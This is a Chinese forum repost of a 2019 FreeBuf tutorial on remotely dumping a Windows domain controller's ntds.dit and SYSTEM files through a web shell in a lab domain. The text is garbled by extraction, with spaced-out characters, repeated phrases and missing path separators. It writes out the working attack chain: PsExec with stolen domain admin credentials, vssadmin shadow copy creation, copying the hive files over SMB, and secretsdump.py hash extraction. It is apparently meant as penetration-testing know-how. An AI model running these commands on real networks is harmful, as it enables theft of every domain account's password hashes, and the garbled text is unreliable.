搜索

[13771] 2019-02-18_通过Webshell远程导出域控ntds.dit的方法

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2019-02-18_通过Webshell远程导出域控ntds.dit的方法 通 过 W e b s h e l l 远 程 导 出 域 控 n t d s . d i t 的 方 法 s e c i s t   F r e e B u f   2 0 1 9 - 0 2 - 1 8 嗨 ， 大 家 好 ！ 这 次 我 想 分 享 一 些 与 嗨 ， 大 家 好 ！ 这 次 我 想 分 享 一 些 与 “ W i n d o w s   A c t i v e   D i r e c t o r y （ （ A D ） ） ” 环 境 相 关 的 内 容 。 我 将 使 用 环 境 相 关 的 内 容 。 我 将 使 用 W e b   s h e l l 向 向 大 家 演 示 大 家 演 示 “ 如 何 转 储 如 何 转 储 W i n d o w s   A c t i v e   D i r e c t o r y 用 户 数 据 库 用 户 数 据 库 ” 。 可 能 有 这 样 一 种 情 况 在 渗 透 测 试 期 间 ， 渗 透 测 试 。 可 能 有 这 样 一 种 情 况 在 渗 透 测 试 期 间 ， 渗 透 测 试 人 员 连 接 到 了 人 员 连 接 到 了 W i n d o w s   A c t i v e   D i r e c t o r y   f o r e s t 其 中 一 台 计 算 机 并 获 得 了 其 中 一 台 计 算 机 并 获 得 了 “ D o m a i n   A d m i n ” 用 户 凭 据 和 用 户 凭 据 和 W e b   s h e l l 访 问 权 限 。 渗 透 测 试 人 员 试 图 进 一 步 的 获 得 访 问 权 限 。 渗 透 测 试 人 员 试 图 进 一 步 的 获 得 R e v e r s e   s h e l l ， 但 由 于 某 些 原 因 阻 止 了 该 行 为 （ 假 设 网 络 防 火 墙 不 ， 但 由 于 某 些 原 因 阻 止 了 该 行 为 （ 假 设 网 络 防 火 墙 不 允 许 ） 但 测 试 者 的 最 终 目 标 可 能 并 不 是 获 取 允 许 ） 但 测 试 者 的 最 终 目 标 可 能 并 不 是 获 取 s h e l l ， 而 是 转 储 ， 而 是 转 储 A D 用 户 数 据 库 ， 即 用 户 和 用 户 数 据 库 ， 即 用 户 和 A D L 环 境 的 环 境 的 N T L M 密 码 密 码 哈 希 值 。 哈 希 值 。 在 渗 透 测 试 期 间 我 也 面 临 了 同 样 的 问 题 （ 没 有 公 网 I P 服 务 器 ） 。 在 稍 稍 讨 论 了 该 问 题 之 后 ， 我 找 到 了 一 种 方 法 ， 如 果 我 们 有 “ A D   D o m a i n   A d m i n ” 用 户 凭 据 ， 那 么 通 过 W e b S h e l l 就 可 以 帮 助 我 们 实 现 上 述 目 标 。 这 里 ， 我 们 假 设 ： 1 、 A D 域 控 机 器 （ q u e e n . D C 1 . i n d i s h e l l . l a b   -   1 9 2 . 1 6 8 . 5 6 . 2 0 0 ） 2 、 被 控 制 的 W i n d o w s 机 器   -   连 接 到 A D （ L A B O N E   -   1 9 2 . 1 6 8 . 5 6 . 1 0 1 ） 3 、 管 理 获 取 W i n d o w s   A D 域 管 理 用 户 （ 你 可 以 使 用 任 何 可 用 的 e x p l o i t ， 在 这 里 我 使 用 的 是 “ M S 1 4 - 0 2 5 ” 来 获 得 域 管 理 员 用 户 密 码 的 ） 现 在 ， 我 可 以 在 W i n d o w s 机 器 上 进 行 访 问 w e b   s h e l l ， 它 连 接 到 域 ， 即 “ L A B O N E ” ， 其 I P 为 “ 1 9 2 . 1 6 8 . 5 6 . 1 0 1 ” 。 域 管 理 员 的 用 户 名 为 “ u s e r 1 ” ， 密 码 为 “ i c a _ 1 0 4 6 ” 。 这 里 ， 我 将 使 用 以 下 两 个 二 进 制 文 件 ： 1 、 p s e x e c . e x e   <   -   W i n d o w s 内 部 工 具 2 、 v s s a d m i n   <   -   用 于 创 建 / 删 除 W i n d o w s 驱 动 器 的 卷 影 副 本 的 命 令 无 论 如 何 ， 如 果 我 们 设 法 在 W i n d o w s   A D 域 控 机 器 上 运 行 “ v s s a d m i n ” 命 令 ， “ v s s a d m i n ” 命 令 将 生 成 “ C ” 盘 的 卷 影 副 本 ， 并 且 从 该 卷 影 副 本 我 们 可 以 复 制 “ n t d s . d i t ” 和 “ S Y S T E M ” 文 件 。 为 了 实 现 上 述 任 务 ， 我 们 将 使 用 “ p s e x e c . e x e ” ， 如 果 我 们 使 用 “ e l e v a t e d ” 选 项 （ 通 过 指 定 - h ） 指 定 目 标 计 算 机 I P 、 域 管 理 员 用 户 名 及 其 密 码 ， 则 可 以 在 远 程 W i n d o w s 计 算 机 上 执 行 命 令 。 我 们 需 要 通 过 w e b   s h e l l 在 W i n d o w s 机 器 “ L A B O N E ” 上 上 传 p s e x e c . e x e 。 从 W e b   s h e l l 我 们 将 使 用 “ v s s a d m i n ” 命 令 指 定 A D 域 控 机 器 I P ， 域 管 理 员 用 户 名 及 其 密 码 。 p s e x e c 文 件 将 远 程 执 行 W i n d o w s   A D 域 控 计 算 机 上 的 v s s a d m i n 命 令 。 在 创 建 “ C ” 盘 卷 影 副 本 之 后 ， 我 们 需 要 将 “ n t d s . d i t ” 和 “ S Y S T E M ” 文 件 从 该 卷 影 副 本 复 制 到 我 们 具 有 W e b   s h e l l 访 问 权 限 的 机 器 上 ， 即 W i n d o w s 域 机 器 “ L A B O N E ” 。 这 个 任 务 可 以 通 过 使 用 “ p s e x e c ” 来 完 成 ， 我 们 只 需 在 “ c o p y ” 命 令 中 指 定 目 标 A D 域 控 机 器 的 I P ， 域 管 理 员 用 户 名 和 密 码 即 可 ， 请 使 用 S M B 将 n d t s . d i t 和 S Y S T E M 文 件 从 卷 影 副 本 复 制 到 L A B O N E 机 器 。 这 里 ， 我 将 这 些 文 件 复 制 到 了 我 转 储 p s e x e c 文 件 的 同 一 目 录 下 。 使 用 “ p s e x e c ” 在 远 程 主 机 上 执 行 命 令 的 常 规 用 法 ： 就 我 而 言 ， 我 应 填 写 如 下 信 息 ： r e m o t e _ I P   1 9 2 . 1 6 8 . 5 6 . 2 0 0 （ q u e e n . D C 1 . i n d i s h e l l . l a b ） p s e x e c . e x e   r e m o t e _ I P   - u   u s e r _ n a m e   - p   p a s s w o r d _ o f _ t h e _ u s e r   - h   c m d   / c   " c o m m a n d _ w h i c h _ w e _ w a n t _ t o _ e x e c u t e " < b r   / >
u s e r _ n a m e   u s e r 1 p a s s w o r d _ o f _ t h e _ u s e r   i c a _ 1 0 4 6 我 在 W i n d o w s 域 机 器 “ L A B O N E ” 上 具 有 w e b   s h e l l 访 问 权 限 ， 并 在 服 务 器 上 传 了 p s e x e c 二 进 制 文 件 。 首 先 ， 我 们 先 来 检 查 下 是 否 有 “ C ” 盘 的 卷 影 副 本 可 用 。 你 可 以 使 用 以 下 命 令 来 列 出 可 用 的 卷 影 副 本 ： 这 里 ， w e b   s h e l l 无 法 显 示 远 程 主 机 上 p s e x e c   b i n a r y 执 行 的 所 有 命 令 输 出 ， 所 以 我 将 命 令 输 出 重 定 向 到 了 “ L A B O N E ” 上 ， 并 保 存 在 C : x a m p p h t d o c s b o x p s 目 录 下 。 执 行 该 步 骤 的 命 令 如 下 ： W e b   s h e l l 显 示 p s e x e c 正 在 远 程 W i n d o w s   A D 域 控 机 器 上 执 行 命 令 。 如 果 一 切 顺 利 ， 我 们 将 在 目 录 “ C : x a m p p h t d o c s b o x p s ” 中 获 取 到 一 个 名 为 “ o u t . t x t ” 的 文 件 ， 它 将 包 含 在 A D 域 控 （ 1 9 2 . 1 6 8 . 5 6 . 2 0 0 ） 上 执 行 的 “ v s s a d m i n   l i s t   s h a d o w s ” 命 令 的 输 出 。 v s s a d m i n   l i s t   s h a d o w s P s E x e c . e x e     1 9 2 . 1 6 8 . 5 6 . 2 0 0   - u   u s e r 1   - p   i c a _ 1 0 4 6   - h   c m d   / c   " v s s a d m i n   l i s t   s h a d o w s   >   1 9 2 . 1 6 8 . 5 6 . 1 0 1 C $ x a m p p h t d o c s b o x p s o u t . t x t "
可 以 看 到 o u t . t x t 文 件 已 生 成 在 了 目 录 中 ， 让 我 们 来 查 看 下 其 中 的 内 容 。 “ o u t . t x t ” 文 件 内 容 显 示 ， 目 标 域 控 机 器 到 目 前 为 止 并 没 有 任 何 的 卷 影 副 本 。 让 我 们 创 建 一 个 “ C ” 盘 的 卷 影 副 本 ， 以 窃 取 “ n t d s . d i t ” 和 “ S Y S T E M ” 文 件 。 用 于 创 建 c 盘 卷 影 副 本 的 命 令 如 下 ： 我 们 需 要 有 新 创 建 的 “ C ” 盘 卷 影 副 本 的 名 称 它 将 在 命 令 的 输 出 中 ， 因 此 我 们 将 把 上 述 命 令 的 输 出 重 定 向 到 我 们 拥 有 w e b s h e l l 访 问 权 的 机 器 上 。 要 从 目 标 机 器 复 制 “ n t d s . d i t ” 和 “ S Y S T E M ” 文 件 ， 我 们 需 要 有 卷 影 副 本 的 名 称 。 最 终 的 命 令 为 ： 以 上 命 令 ， p s e x e c 正 在 W i n d o w s   A D 域 控 机 器 （ 1 9 2 . 1 6 8 . 5 6 . 2 0 0 ） 上 执 行 命 令 创 建 “ C ” 盘 的 卷 影 副 本 ， 然 后 将 该 命 令 的 输 出 重 定 向 到   “ L A B O N E ” 机 器 的   “ C : x m p p h t d o c s b o x p s o u t . t x t ” 文 件 中 。 v s s a d m i n   c r e a t e   s h a d o w   / f o r = C : P s E x e c . e x e     1 9 2 . 1 6 8 . 5 6 . 2 0 0   - u   u s e r 1   - p   i c a _ 1 0 4 6   - h   c m d   / c   " v s s a d m i n   c r e a t e   s h a d o w   / f o r = C :   >
“ o u t . t x t ” 文 件 的 内 容 将 告 诉 我 们 卷 影 副 本 的 位 置 。 在 以 上 截 图 中 我 们 可 以 看 到 ， 卷 影 副 本 的 卷 名 为 “ ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 5 ” 。 “ n t d s . d i t ” 和 “ S Y S T E M ” 文 件 的 位 置 如 下 ： “ s h a d o w _ c o p y _ v o l u m e _ n a m e W i n d o w s N T D S N T D S . d i t ” “ s h a d o w _ c o p y _ v o l u m e _ n a m e W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M ” 即 ： “ ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 5 W i n d o w s N T D S N T D S . d i t ” “ ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 5 W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M ” 让 我 们 使 用 以 下 命 令 从 目 标 W i n d o w s   A D 域 控 机 器 复 制 “ n t d s . d i t ” 文 件 ： 此 命 令 将 会 将 “ n t d s . d i t ” 文 件 从 远 程 机 器 （ 1 9 2 . 1 6 8 . 5 6 . 2 0 0 ） 复 制 到 “ L A B O N E ” 机 器 （ 1 9 2 . 1 6 8 . 5 6 . 1 0 1 ） 的 “ C : x a m p p h t d o c s b o x p s ” 目 录 下 。 P s E x e c . e x e     1 9 2 . 1 6 8 . 5 6 . 2 0 0   - u   u s e r 1   - p   i c a _ 1 0 4 6   - h   c m d   / c   " c o p y     ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 5 W i n d o w s N T D S N T D S . d i t     1 9 2 . 1 6 8 . 5 6 . 1 0 1 C $ x a m p p h t d o c s b o x p s "
可 以 看 到 w e b   s h e l l 显 示 ， 一 个 文 件 已 从 目 标 D C 机 器 复 制 到 了 我 的 机 器 上 。 让 我 们 确 认 并 检 查 “ C : x a m p p h t d o c s b o x p s ” 看 看 是 否 已 成 功 复 制 “ n t d s . d i t ” 文 件 。 如 上 所 示 ， “ n t d s . d i t ” 文 件 已 成 功 被 复 制 到 了 “ L A B O N E ” 机 器 上 。 同 样 ， 我 们 使 用 该 命 令 复 制 “ S Y S T E M ” 文 件 ： 命 令 执 行 成 功 ， W e b   s h e l l 显 示 “ 1   f i l e   c o p i e d ” 的 消 息 提 示 。 再 次 检 查 并 确 认 是 否 成 功 执 行 。 P s E x e c . e x e     1 9 2 . 1 6 8 . 5 6 . 2 0 0   - u   u s e r 1   - p   i c a _ 1 0 4 6   - h   c m d   / c   " c o p y     ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 5 W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M
可 以 看 到 “ S Y S T E M ” 文 件 也 已 成 功 被 复 制 到 了   “ L A B O N E ” 机 器 上 。 我 们 可 以 从 这 里 使 用 w e b   s h e l l 下 载 这 些 文 件 。 现 在 ， 我 们 可 以 使 用 p y t h o n 脚 本 s e c r e t s d u m p . p y ， 从 “ n t d s . d i t ” 和 “ S Y S T E M ” 文 件 中 提 取 D o m a i n ， u d i ， r i d   L M 和 N T h a s h e s 。 命 令 如 下 ： 结 果 如 下 ： 感 谢 阅 读 ！ 希 望 大 家 继 续 支 持 并 关 注 我 ！ * 参 考 来 源 ： 参 考 来 源 ： m a n n u l i n u x ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M p y t h o n   s e c r e t s d u m p . p y   - n t d s   n t d s . d i t   - s y s t e m   S Y S T E M   L O C A L
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理